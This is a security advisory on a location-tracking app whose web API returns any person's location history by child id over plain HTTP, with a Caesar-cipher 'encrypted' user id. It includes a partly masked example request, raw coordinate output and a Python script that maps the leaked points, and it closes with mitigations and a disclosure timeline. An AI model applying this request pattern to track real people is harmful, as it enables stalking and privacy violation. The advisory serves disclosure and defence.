SIK-2017-059
Title:
Location history of any user visible through simple http request in ilocatemobile App
Report ID:
SIK-2017-059
Summary:
- Vendor: www.ilocatemobile.com (India)
- Product: com.ilocatemobile.track
- Affected Version: Current web API, any version
- Severity: high
- Short summary: Anyone can be tracked with their userid (only 7+ digits)
Details:
Example requests (personal data of us):
http://****.net/****.aspx?userid=999=9%3C%3E&childid=2125290¤tdate=07/12/2017
Output:
1*49.8715330929084*8.639047788304*12:01 AM to 07:47 PM*49.8715330929084,8.639047788304*free$0*49.8731935027927*8.63498598738923*07:52 PM*49.8731935027927,8.63498598738923*free$2*49.871533247265*8.63904788614738*07:53 PM to 08:18 PM*49.871533247265,8.63904788614738*free$3*49.8746898716628*8.63132643123319*08:23 PM to 09:43 PM*49.8746898716628,8.63132643123319*free$0*49.869405647943*8.62696200749833*09:48 PM*49.869405647943,8.62696200749833*free$0*49.8666552314999*8.61016720534173*09:51 PM*49.8666552314999,8.61016720534173*free$0*49.8654873239886*8.59767123148795*09:55 PM*49.8654873239886,8.59767123148795*free$4*49.8641625311038*8.58813668917857*09:57 PM to 10:01 PM*49.8641625311038,8.58813668917857*free$5*49.8658166328809*8.60092130078582*10:06 PM to 10:08 PM*49.8658166328809,8.60092130078582*free$6*49.8680391649373*8.62167639644787*10:13 PM to 11:59 PM*49.8680391649373,8.62167639644787*free
http://****.net/****.aspx?userid=999=9%3C%3E&childid=2125290¤tdate=07/13/2017
Output:
1*49.8713574818857*8.63875187154788*12:01 AM to 03:32 PM*49.8713574818857,8.63875187154788*free$2*49.8599651360695*8.6492436015952*03:37 PM to 04:20 PM*49.8599651360695,8.6492436015952*free$3*49.8659017082034*8.64005715469628*04:25 PM to 04:42 PM*49.8659017082034,8.64005715469628*free$4*49.8607193174197*8.64766700537198*04:47 PM to 04:55 PM*49.8607193174197,8.64766700537198*free$5*49.8660906810819*8.63996964056536*05:00 PM to 05:29 PM*49.8660906810819,8.63996964056536*free$0*49.8621368320675*8.64791435318605*05:34 PM*49.8621368320675,8.64791435318605*free$0*49.8657520135618*8.63545893595093*05:34 PM*49.8657520135618,8.63545893595093*free$0*49.8730387486151*8.63354724178888*05:35 PM*49.8730387486151,8.63354724178888*free$0*49.8694975879708*8.64390203882139*05:35 PM*49.8694975879708,8.64390203882139*free$0*49.8628475343781*8.64071739596497*05:36 PM*49.8628475343781,8.64071739596497*free$0*49.8689428418663*8.64375591155705*05:36 PM*49.8689428418663,8.64375591155705*free$6*49.8677465395485*8.63267482540419*05:37 PM to 11:59 PM*49.8677465395485,8.63267482540419*free
Data visualization:
import re
import gmplot
regex = re.compile("\d+\.\d+,\d+\.\d+")
for p in regex.findall( INPUT_DATA ):
lats.append(float(p.split(",")[0]))
lons.append(float(p.split(",")[1]))
gmap = gmplot.GoogleMapPlotter(49.8,8.6,8)
gmap.scatter(lats,lons,"red")
gmap.draw("map.html")
userid could be anything, results will always be returned (this means anyone could track anyone else) . Childid is the id of the person to track. userid is ‚encrypted‘ by caesar cipher + 7. currentdate is the day requested.
User ids could be easily brute forced. Also, the requests are only http, so traffic could be easily sniffed for aquiring user ids.
Workaround
–
Suggested Mitigation
Use HTTPS, only allow authorized users to access other peoples data, real encryption.
Timeline
- 2017-08-31: Vulnerability discovered
- 2017-09-01: First contact email sent to developer
- 2018-08-11: Published